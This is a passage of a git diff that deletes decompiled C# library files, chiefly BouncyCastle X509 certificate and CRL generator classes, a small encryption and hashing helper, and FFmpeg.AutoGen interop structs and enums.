AlgorithmIdentifier SignatureAlgorithm => cert.SignatureAlgorithm; - - private static AttributeCertificate GetObject(Stream input) - { - try - { - return AttributeCertificate.GetInstance(Asn1Object.FromStream(input)); - } - catch (IOException ex) - { - throw ex; - } - catch (Exception innerException) - { - throw new IOException("exception decoding certificate structure", innerException); - } - } - - public X509V2AttributeCertificate(Stream encIn) - : this(GetObject(encIn)) - { - } - - public X509V2AttributeCertificate(byte[] encoded) - : this(new MemoryStream(encoded, writable: false)) - { - } - - internal X509V2AttributeCertificate(AttributeCertificate cert) - { - this.cert = cert; - try - { - notAfter = cert.ACInfo.AttrCertValidityPeriod.NotAfterTime.ToDateTime(); - notBefore = cert.ACInfo.AttrCertValidityPeriod.NotBeforeTime.ToDateTime(); - } - catch (Exception innerException) - { - throw new IOException("invalid data structure in certificate!", innerException); - } - } - - public virtual bool[] GetIssuerUniqueID() - { - DerBitString issuerUniqueID = cert.ACInfo.IssuerUniqueID; - if (issuerUniqueID != null) - { - byte[] bytes = issuerUniqueID.GetBytes(); - bool[] array = new bool[bytes.Length * 8 - issuerUniqueID.PadBits]; - for (int i = 0; i != array.Length; i++) - { - array[i] = (bytes[i / 8] & (128 >> i % 8)) != 0; - } - return array; - } - return null; - } - - public virtual bool IsValid(DateTime date) - { - if (date.CompareTo((object?)NotBefore) >= 0) - { - return date.CompareTo((object?)NotAfter) <= 0; - } - return false; - } - - public virtual void CheckValidity() - { - CheckValidity(DateTime.UtcNow); - } - - public virtual void CheckValidity(DateTime date) - { - if (date.CompareTo((object?)NotAfter) > 0) - { - throw new CertificateExpiredException("certificate expired on " + NotAfter); - } - if (date.CompareTo((object?)NotBefore) < 0) - { - throw new CertificateNotYetValidException("certificate not valid until " + NotBefore); - } - } - - public virtual byte[] GetSignature() - { - return cert.GetSignatureOctets(); - } - - public virtual void Verify(AsymmetricKeyParameter key) - { - CheckSignature(new Asn1VerifierFactory(cert.SignatureAlgorithm, key)); - } - - public virtual void Verify(IVerifierFactoryProvider verifierProvider) - { - CheckSignature(verifierProvider.CreateVerifierFactory(cert.SignatureAlgorithm)); - } - - protected virtual void CheckSignature(IVerifierFactory verifier) - { - if (!cert.SignatureAlgorithm.Equals(cert.ACInfo.Signature)) - { - throw new CertificateException("Signature algorithm in certificate info not same as outer certificate"); - } - IStreamCalculator streamCalculator = verifier.CreateCalculator(); - try - { - byte[] encoded = cert.ACInfo.GetEncoded(); - streamCalculator.Stream.Write(encoded, 0, encoded.Length); - Platform.Dispose(streamCalculator.Stream); - } - catch (IOException exception) - { - throw new SignatureException("Exception encoding certificate info object", exception); - } - if (!((IVerifier)streamCalculator.GetResult()).IsVerified(GetSignature())) - { - throw new InvalidKeyException("Public key presented not for certificate signature"); - } - } - - public virtual byte[] GetEncoded() - { - return cert.GetEncoded(); - } - - protected override X509Extensions GetX509Extensions() - { - return cert.ACInfo.Extensions; - } - - public virtual X509Attribute[] GetAttributes() - { - Asn1Sequence attributes = cert.ACInfo.Attributes; - X509Attribute[] array = new X509Attribute[attributes.Count]; - for (int i = 0; i != attributes.Count; i++) - { - array[i] = new X509Attribute(attributes[i]); - } - return array; - } - - public virtual X509Attribute[] GetAttributes(string oid) - { - Asn1Sequence attributes = cert.ACInfo.Attributes; - IList list = Platform.CreateArrayList(); - for (int i = 0; i != attributes.Count; i++) - { - X509Attribute x509Attribute = new X509Attribute(attributes[i]); - if (x509Attribute.Oid.Equals(oid)) - { - list.Add(x509Attribute); - } - } - if (list.Count < 1) - { - return null; - } - X509Attribute[] array = new X509Attribute[list.Count]; - for (int j = 0; j < list.Count; j++) - { - array[j] = (X509Attribute)list[j]; - } - return array; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is X509V2AttributeCertificate x509V2AttributeCertificate)) - { - return false; - } - return cert.Equals(x509V2AttributeCertificate.cert); - } - - public override int GetHashCode() - { - return cert.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2AttributeCertificateGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2AttributeCertificateGenerator.cs deleted file mode 100644 index 9896965..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2AttributeCertificateGenerator.cs +++ /dev/null @@ -1,135 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.X509; - -public class X509V2AttributeCertificateGenerator -{ - private readonly X509ExtensionsGenerator extGenerator = new X509ExtensionsGenerator(); - - private V2AttributeCertificateInfoGenerator acInfoGen; - - private DerObjectIdentifier sigOID; - - private AlgorithmIdentifier sigAlgId; - - private string signatureAlgorithm; - - public IEnumerable SignatureAlgNames => X509Utilities.GetAlgNames(); - - public X509V2AttributeCertificateGenerator() - { - acInfoGen = new V2AttributeCertificateInfoGenerator(); - } - - public void Reset() - { - acInfoGen = new V2AttributeCertificateInfoGenerator(); - extGenerator.Reset(); - } - - public void SetHolder(AttributeCertificateHolder holder) - { - acInfoGen.SetHolder(holder.holder); - } - - public void SetIssuer(AttributeCertificateIssuer issuer) - { - acInfoGen.SetIssuer(AttCertIssuer.GetInstance(issuer.form)); - } - - public void SetSerialNumber(BigInteger serialNumber) - { - acInfoGen.SetSerialNumber(new DerInteger(serialNumber)); - } - - public void SetNotBefore(DateTime date) - { - acInfoGen.SetStartDate(new DerGeneralizedTime(date)); - } - - public void SetNotAfter(DateTime date) - { - acInfoGen.SetEndDate(new DerGeneralizedTime(date)); - } - - [Obsolete("Not needed if Generate used with an ISignatureFactory")] - public void SetSignatureAlgorithm(string signatureAlgorithm) - { - this.signatureAlgorithm = signatureAlgorithm; - try - { - sigOID = X509Utilities.GetAlgorithmOid(signatureAlgorithm); - } - catch (Exception) - { - throw new ArgumentException("Unknown signature type requested"); - } - sigAlgId = X509Utilities.GetSigAlgID(sigOID, signatureAlgorithm); - acInfoGen.SetSignature(sigAlgId); - } - - public void AddAttribute(X509Attribute attribute) - { - acInfoGen.AddAttribute(AttributeX509.GetInstance(attribute.ToAsn1Object())); - } - - public void SetIssuerUniqueId(bool[] iui) - { - throw Platform.CreateNotImplementedException("SetIssuerUniqueId()"); - } - - public void AddExtension(string oid, bool critical, Asn1Encodable extensionValue) - { - extGenerator.AddExtension(new DerObjectIdentifier(oid), critical, extensionValue); - } - - public void AddExtension(string oid, bool critical, byte[] extensionValue) - { - extGenerator.AddExtension(new DerObjectIdentifier(oid), critical, extensionValue); - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public IX509AttributeCertificate Generate(AsymmetricKeyParameter privateKey) - { - return Generate(privateKey, null); - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public IX509AttributeCertificate Generate(AsymmetricKeyParameter privateKey, SecureRandom random) - { - return Generate(new Asn1SignatureFactory(signatureAlgorithm, privateKey, random)); - } - - public IX509AttributeCertificate Generate(ISignatureFactory signatureCalculatorFactory) - { - if (!extGenerator.IsEmpty) - { - acInfoGen.SetExtensions(extGenerator.Generate()); - } - AlgorithmIdentifier signature = (AlgorithmIdentifier)signatureCalculatorFactory.AlgorithmDetails; - acInfoGen.SetSignature(signature); - AttributeCertificateInfo attributeCertificateInfo = acInfoGen.GenerateAttributeCertificateInfo(); - byte[] derEncoded = attributeCertificateInfo.GetDerEncoded(); - IStreamCalculator streamCalculator = signatureCalculatorFactory.CreateCalculator(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - Platform.Dispose(streamCalculator.Stream); - try - { - DerBitString signatureValue = new DerBitString(((IBlockResult)streamCalculator.GetResult()).Collect()); - return new X509V2AttributeCertificate(new AttributeCertificate(attributeCertificateInfo, signature, signatureValue)); - } - catch (Exception e) - { - throw new CertificateEncodingException("constructed invalid certificate", e); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2CrlGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2CrlGenerator.cs deleted file mode 100644 index 29e80d9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V2CrlGenerator.cs +++ /dev/null @@ -1,167 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; - -namespace Org.BouncyCastle.X509; - -public class X509V2CrlGenerator -{ - private readonly X509ExtensionsGenerator extGenerator = new X509ExtensionsGenerator(); - - private V2TbsCertListGenerator tbsGen; - - private DerObjectIdentifier sigOID; - - private AlgorithmIdentifier sigAlgId; - - private string signatureAlgorithm; - - public IEnumerable SignatureAlgNames => X509Utilities.GetAlgNames(); - - public X509V2CrlGenerator() - { - tbsGen = new V2TbsCertListGenerator(); - } - - public void Reset() - { - tbsGen = new V2TbsCertListGenerator(); - extGenerator.Reset(); - } - - public void SetIssuerDN(X509Name issuer) - { - tbsGen.SetIssuer(issuer); - } - - public void SetThisUpdate(DateTime date) - { - tbsGen.SetThisUpdate(new Time(date)); - } - - public void SetNextUpdate(DateTime date) - { - tbsGen.SetNextUpdate(new Time(date)); - } - - public void AddCrlEntry(BigInteger userCertificate, DateTime revocationDate, int reason) - { - tbsGen.AddCrlEntry(new DerInteger(userCertificate), new Time(revocationDate), reason); - } - - public void AddCrlEntry(BigInteger userCertificate, DateTime revocationDate, int reason, DateTime invalidityDate) - { - tbsGen.AddCrlEntry(new DerInteger(userCertificate), new Time(revocationDate), reason, new DerGeneralizedTime(invalidityDate)); - } - - public void AddCrlEntry(BigInteger userCertificate, DateTime revocationDate, X509Extensions extensions) - { - tbsGen.AddCrlEntry(new DerInteger(userCertificate), new Time(revocationDate), extensions); - } - - public void AddCrl(X509Crl other) - { - if (other == null) - { - throw new ArgumentNullException("other"); - } - ISet revokedCertificates = other.GetRevokedCertificates(); - if (revokedCertificates == null) - { - return; - } - foreach (X509CrlEntry item in revokedCertificates) - { - try - { - tbsGen.AddCrlEntry(Asn1Sequence.GetInstance(Asn1Object.FromByteArray(item.GetEncoded()))); - } - catch (IOException e) - { - throw new CrlException("exception processing encoding of CRL", e); - } - } - } - - [Obsolete("Not needed if Generate used with an ISignatureFactory")] - public void SetSignatureAlgorithm(string signatureAlgorithm) - { - this.signatureAlgorithm = signatureAlgorithm; - try - { - sigOID = X509Utilities.GetAlgorithmOid(signatureAlgorithm); - } - catch (Exception innerException) - { - throw new ArgumentException("Unknown signature type requested", innerException); - } - sigAlgId = X509Utilities.GetSigAlgID(sigOID, signatureAlgorithm); - tbsGen.SetSignature(sigAlgId); - } - - public void AddExtension(string oid, bool critical, Asn1Encodable extensionValue) - { - extGenerator.AddExtension(new DerObjectIdentifier(oid), critical, extensionValue); - } - - public void AddExtension(DerObjectIdentifier oid, bool critical, Asn1Encodable extensionValue) - { - extGenerator.AddExtension(oid, critical, extensionValue); - } - - public void AddExtension(string oid, bool critical, byte[] extensionValue) - { - extGenerator.AddExtension(new DerObjectIdentifier(oid), critical, new DerOctetString(extensionValue)); - } - - public void AddExtension(DerObjectIdentifier oid, bool critical, byte[] extensionValue) - { - extGenerator.AddExtension(oid, critical, new DerOctetString(extensionValue)); - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public X509Crl Generate(AsymmetricKeyParameter privateKey) - { - return Generate(privateKey, null); - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public X509Crl Generate(AsymmetricKeyParameter privateKey, SecureRandom random) - { - return Generate(new Asn1SignatureFactory(signatureAlgorithm, privateKey, random)); - } - - public X509Crl Generate(ISignatureFactory signatureCalculatorFactory) - { - tbsGen.SetSignature((AlgorithmIdentifier)signatureCalculatorFactory.AlgorithmDetails); - TbsCertificateList tbsCertificateList = GenerateCertList(); - IStreamCalculator streamCalculator = signatureCalculatorFactory.CreateCalculator(); - byte[] derEncoded = tbsCertificateList.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - Platform.Dispose(streamCalculator.Stream); - return GenerateJcaObject(tbsCertificateList, (AlgorithmIdentifier)signatureCalculatorFactory.AlgorithmDetails, ((IBlockResult)streamCalculator.GetResult()).Collect()); - } - - private TbsCertificateList GenerateCertList() - { - if (!extGenerator.IsEmpty) - { - tbsGen.SetExtensions(extGenerator.Generate()); - } - return tbsGen.GenerateTbsCertList(); - } - - private X509Crl GenerateJcaObject(TbsCertificateList tbsCrl, AlgorithmIdentifier algId, byte[] signature) - { - return new X509Crl(CertificateList.GetInstance(new DerSequence(tbsCrl, algId, new DerBitString(signature)))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V3CertificateGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V3CertificateGenerator.cs deleted file mode 100644 index 8901e37..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/X509/X509V3CertificateGenerator.cs +++ /dev/null @@ -1,196 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509.Extension; - -namespace Org.BouncyCastle.X509; - -public class X509V3CertificateGenerator -{ - private readonly X509ExtensionsGenerator extGenerator = new X509ExtensionsGenerator(); - - private V3TbsCertificateGenerator tbsGen; - - private DerObjectIdentifier sigOid; - - private AlgorithmIdentifier sigAlgId; - - private string signatureAlgorithm; - - public IEnumerable SignatureAlgNames => X509Utilities.GetAlgNames(); - - public X509V3CertificateGenerator() - { - tbsGen = new V3TbsCertificateGenerator(); - } - - public void Reset() - { - tbsGen = new V3TbsCertificateGenerator(); - extGenerator.Reset(); - } - - public void SetSerialNumber(BigInteger serialNumber) - { - if (serialNumber.SignValue <= 0) - { - throw new ArgumentException("serial number must be a positive integer", "serialNumber"); - } - tbsGen.SetSerialNumber(new DerInteger(serialNumber)); - } - - public void SetIssuerDN(X509Name issuer) - { - tbsGen.SetIssuer(issuer); - } - - public void SetNotBefore(DateTime date) - { - tbsGen.SetStartDate(new Time(date)); - } - - public void SetNotAfter(DateTime date) - { - tbsGen.SetEndDate(new Time(date)); - } - - public void SetSubjectDN(X509Name subject) - { - tbsGen.SetSubject(subject); - } - - public void SetPublicKey(AsymmetricKeyParameter publicKey) - { - tbsGen.SetSubjectPublicKeyInfo(SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(publicKey)); - } - - [Obsolete("Not needed if Generate used with an ISignatureFactory")] - public void SetSignatureAlgorithm(string signatureAlgorithm) - { - this.signatureAlgorithm = signatureAlgorithm; - try - { - sigOid = X509Utilities.GetAlgorithmOid(signatureAlgorithm); - } - catch (Exception) - { - throw new ArgumentException("Unknown signature type requested: " + signatureAlgorithm); - } - sigAlgId = X509Utilities.GetSigAlgID(sigOid, signatureAlgorithm); - tbsGen.SetSignature(sigAlgId); - } - - public void SetSubjectUniqueID(bool[] uniqueID) - { - tbsGen.SetSubjectUniqueID(booleanToBitString(uniqueID)); - } - - public void SetIssuerUniqueID(bool[] uniqueID) - { - tbsGen.SetIssuerUniqueID(booleanToBitString(uniqueID)); - } - - private DerBitString booleanToBitString(bool[] id) - { - byte[] array = new byte[(id.Length + 7) / 8]; - for (int i = 0; i != id.Length; i++) - { - if (id[i]) - { - byte[] array3; - byte[] array2 = (array3 = array); - int num = i / 8; - nint num2 = num; - array2[num] = (byte)(array3[num2] | (byte)(1 << 7 - i % 8)); - } - } - int num3 = id.Length % 8; - if (num3 == 0) - { - return new DerBitString(array); - } - return new DerBitString(array, 8 - num3); - } - - public void AddExtension(string oid, bool critical, Asn1Encodable extensionValue) - { - extGenerator.AddExtension(new DerObjectIdentifier(oid), critical, extensionValue); - } - - public void AddExtension(DerObjectIdentifier oid, bool critical, Asn1Encodable extensionValue) - { - extGenerator.AddExtension(oid, critical, extensionValue); - } - - public void AddExtension(string oid, bool critical, byte[] extensionValue) - { - extGenerator.AddExtension(new DerObjectIdentifier(oid), critical, new DerOctetString(extensionValue)); - } - - public void AddExtension(DerObjectIdentifier oid, bool critical, byte[] extensionValue) - { - extGenerator.AddExtension(oid, critical, new DerOctetString(extensionValue)); - } - - public void CopyAndAddExtension(string oid, bool critical, X509Certificate cert) - { - CopyAndAddExtension(new DerObjectIdentifier(oid), critical, cert); - } - - public void CopyAndAddExtension(DerObjectIdentifier oid, bool critical, X509Certificate cert) - { - Asn1OctetString extensionValue = cert.GetExtensionValue(oid); - if (extensionValue == null) - { - throw new CertificateParsingException(string.Concat("extension ", oid, " not present")); - } - try - { - Asn1Encodable extensionValue2 = X509ExtensionUtilities.FromExtensionValue(extensionValue); - AddExtension(oid, critical, extensionValue2); - } - catch (Exception ex) - { - throw new CertificateParsingException(ex.Message, ex); - } - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public X509Certificate Generate(AsymmetricKeyParameter privateKey) - { - return Generate(privateKey, null); - } - - [Obsolete("Use Generate with an ISignatureFactory")] - public X509Certificate Generate(AsymmetricKeyParameter privateKey, SecureRandom random) - { - return Generate(new Asn1SignatureFactory(signatureAlgorithm, privateKey, random)); - } - - public X509Certificate Generate(ISignatureFactory signatureCalculatorFactory) - { - tbsGen.SetSignature((AlgorithmIdentifier)signatureCalculatorFactory.AlgorithmDetails); - if (!extGenerator.IsEmpty) - { - tbsGen.SetExtensions(extGenerator.Generate()); - } - TbsCertificateStructure tbsCertificateStructure = tbsGen.GenerateTbsCertificate(); - IStreamCalculator streamCalculator = signatureCalculatorFactory.CreateCalculator(); - byte[] derEncoded = tbsCertificateStructure.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - Platform.Dispose(streamCalculator.Stream); - return GenerateJcaObject(tbsCertificateStructure, (AlgorithmIdentifier)signatureCalculatorFactory.AlgorithmDetails, ((IBlockResult)streamCalculator.GetResult()).Collect()); - } - - private X509Certificate GenerateJcaObject(TbsCertificateStructure tbsCert, AlgorithmIdentifier sigAlg, byte[] signature) - { - return new X509Certificate(new X509CertificateStructure(tbsCert, sigAlg, new DerBitString(signature))); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Properties/AssemblyInfo.cs b/output/Libraries/BouncyCastle.Crypto/Properties/AssemblyInfo.cs deleted file mode 100644 index 6e623c7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyFileVersion("1.8.19031.1")] -[assembly: AssemblyCompany("The Legion of the Bouncy Castle Inc.")] -[assembly: AssemblyInformationalVersion("1.8.5")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("Bouncy Castle Cryptography API")] -[assembly: AssemblyKeyFile("../BouncyCastle.snk")] -[assembly: AssemblyCopyright("Copyright (C) 2000-2019")] -[assembly: AssemblyProduct("Bouncy Castle for .NET")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDelaySign(false)] -[assembly: AssemblyTitle("BouncyCastle.Crypto")] -[assembly: ComVisible(false)] -[assembly: CLSCompliant(true)] -[assembly: AssemblyVersion("1.8.5.0")] diff --git a/output/Libraries/BouncyCastle.Crypto/crypto/Security.cs b/output/Libraries/BouncyCastle.Crypto/crypto/Security.cs deleted file mode 100644 index f471d83..0000000 --- a/output/Libraries/BouncyCastle.Crypto/crypto/Security.cs +++ /dev/null @@ -1,54 +0,0 @@ -using System.Text; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Modes; -using Org.BouncyCastle.Crypto.Paddings; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.Encoders; - -namespace crypto; - -public class Security -{ - public static string ComputeHash(string text, string salt) - { - byte[] bytes = Encoding.UTF8.GetBytes(text); - Sha512Digest sha512Digest = new Sha512Digest(); - Pkcs5S2ParametersGenerator pkcs5S2ParametersGenerator = new Pkcs5S2ParametersGenerator(sha512Digest); - pkcs5S2ParametersGenerator.Init(bytes, Base64.Decode(salt), 2048); - return Base64.ToBase64String(((KeyParameter)pkcs5S2ParametersGenerator.GenerateDerivedParameters(sha512Digest.GetDigestSize() * 8)).GetKey()); - } - - public static string Decrypt(string cipherText, string key, string iv) - { - IBufferedCipher bufferedCipher = CreateCipher(isEncryption: false, key, iv); - byte[] array = bufferedCipher.DoFinal(Base64.Decode(cipherText)); - return Encoding.UTF8.GetString(array, 0, array.Length); - } - - public static string Encrypt(string plainText, string key, string iv) - { - IBufferedCipher bufferedCipher = CreateCipher(isEncryption: true, key, iv); - return Base64.ToBase64String(bufferedCipher.DoFinal(Encoding.UTF8.GetBytes(plainText))); - } - - public static string GenerateText(int size) - { - byte[] array = new byte[size]; - SecureRandom instance = SecureRandom.GetInstance("SHA256PRNG", autoSeed: true); - instance.NextBytes(array); - return Base64.ToBase64String(array); - } - - private static IBufferedCipher CreateCipher(bool isEncryption, string key, string iv) - { - IBufferedCipher bufferedCipher = new PaddedBufferedBlockCipher(new CbcBlockCipher(new RijndaelEngine()), new ISO10126d2Padding()); - KeyParameter keyParameter = new KeyParameter(Base64.Decode(key)); - ICipherParameters parameters = ((iv == null || iv.Length < 1) ? ((ICipherParameters)keyParameter) : ((ICipherParameters)new ParametersWithIV(keyParameter, Base64.Decode(iv)))); - bufferedCipher.Init(isEncryption, parameters); - return bufferedCipher; - } -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg.AutoGen.csproj b/output/Libraries/FFmpeg.AutoGen/FFmpeg.AutoGen.csproj deleted file mode 100644 index 22aedc1..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg.AutoGen.csproj +++ /dev/null @@ -1,15 +0,0 @@ - - - FFmpeg.AutoGen - False - net20 - x86 - - - 12.0 - True - - - - - \ No newline at end of file diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVABufferSinkParams.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVABufferSinkParams.cs deleted file mode 100644 index 8c10c0f..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVABufferSinkParams.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVABufferSinkParams -{ - public unsafe AVSampleFormat* sample_fmts; - - public unsafe long* channel_layouts; - - public unsafe int* channel_counts; - - public int all_channel_counts; - - public unsafe int* sample_rates; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVActiveFormatDescription.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVActiveFormatDescription.cs deleted file mode 100644 index eca3b2d..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVActiveFormatDescription.cs +++ /dev/null @@ -1,12 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVActiveFormatDescription -{ - AV_AFD_SAME = 8, - AV_AFD_4_3 = 9, - AV_AFD_16_9 = 10, - AV_AFD_14_9 = 11, - AV_AFD_4_3_SP_14_9 = 13, - AV_AFD_16_9_SP_14_9 = 14, - AV_AFD_SP_4_3 = 15 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAppToDevMessageType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAppToDevMessageType.cs deleted file mode 100644 index 5b6ed87..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAppToDevMessageType.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVAppToDevMessageType -{ - AV_APP_TO_DEV_NONE = 1313820229, - AV_APP_TO_DEV_WINDOW_SIZE = 1195724621, - AV_APP_TO_DEV_WINDOW_REPAINT = 1380274241, - AV_APP_TO_DEV_PAUSE = 1346458912, - AV_APP_TO_DEV_PLAY = 1347174745, - AV_APP_TO_DEV_TOGGLE_PAUSE = 1346458964, - AV_APP_TO_DEV_SET_VOLUME = 1398165324, - AV_APP_TO_DEV_MUTE = 541939028, - AV_APP_TO_DEV_UNMUTE = 1431131476, - AV_APP_TO_DEV_TOGGLE_MUTE = 1414354260, - AV_APP_TO_DEV_GET_VOLUME = 1196838732, - AV_APP_TO_DEV_GET_MUTE = 1196250452 -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAudioFifo.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAudioFifo.cs deleted file mode 100644 index 832927d..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAudioFifo.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVAudioFifo -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAudioServiceType.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAudioServiceType.cs deleted file mode 100644 index ac26852..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVAudioServiceType.cs +++ /dev/null @@ -1,15 +0,0 @@ -namespace FFmpeg.AutoGen; - -public enum AVAudioServiceType -{ - AV_AUDIO_SERVICE_TYPE_MAIN, - AV_AUDIO_SERVICE_TYPE_EFFECTS, - AV_AUDIO_SERVICE_TYPE_VISUALLY_IMPAIRED, - AV_AUDIO_SERVICE_TYPE_HEARING_IMPAIRED, - AV_AUDIO_SERVICE_TYPE_DIALOGUE, - AV_AUDIO_SERVICE_TYPE_COMMENTARY, - AV_AUDIO_SERVICE_TYPE_EMERGENCY, - AV_AUDIO_SERVICE_TYPE_VOICE_OVER, - AV_AUDIO_SERVICE_TYPE_KARAOKE, - AV_AUDIO_SERVICE_TYPE_NB -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBPrint.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBPrint.cs deleted file mode 100644 index 0a11acd..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBPrint.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVBPrint -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBitStreamFilter.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBitStreamFilter.cs deleted file mode 100644 index 8912da3..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBitStreamFilter.cs +++ /dev/null @@ -1,16 +0,0 @@ -using System; - -namespace FFmpeg.AutoGen; - -public struct AVBitStreamFilter -{ - public unsafe sbyte* name; - - public int priv_data_size; - - public IntPtr filter; - - public IntPtr close; - - public unsafe AVBitStreamFilter* next; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBitStreamFilterContext.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBitStreamFilterContext.cs deleted file mode 100644 index ac9f646..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBitStreamFilterContext.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace FFmpeg.AutoGen; - -public struct AVBitStreamFilterContext -{ - public unsafe void* priv_data; - - public unsafe AVBitStreamFilter* filter; - - public unsafe AVCodecParserContext* parser; - - public unsafe AVBitStreamFilterContext* next; - - public unsafe sbyte* args; -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBuffer.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBuffer.cs deleted file mode 100644 index 7b925b5..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBuffer.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVBuffer -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferPool.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferPool.cs deleted file mode 100644 index 60e9d75..0000000 --- a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferPool.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System.Runtime.InteropServices; - -namespace FFmpeg.AutoGen; - -[StructLayout(LayoutKind.Sequential, Size = 1)] -public struct AVBufferPool -{ -} diff --git a/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferRef.cs b/output/Libraries/FFmpeg.AutoGen/FFmpeg/AutoGen/AVBufferRef.cs deleted file mode 100644 index 64ae388..0000000 --- 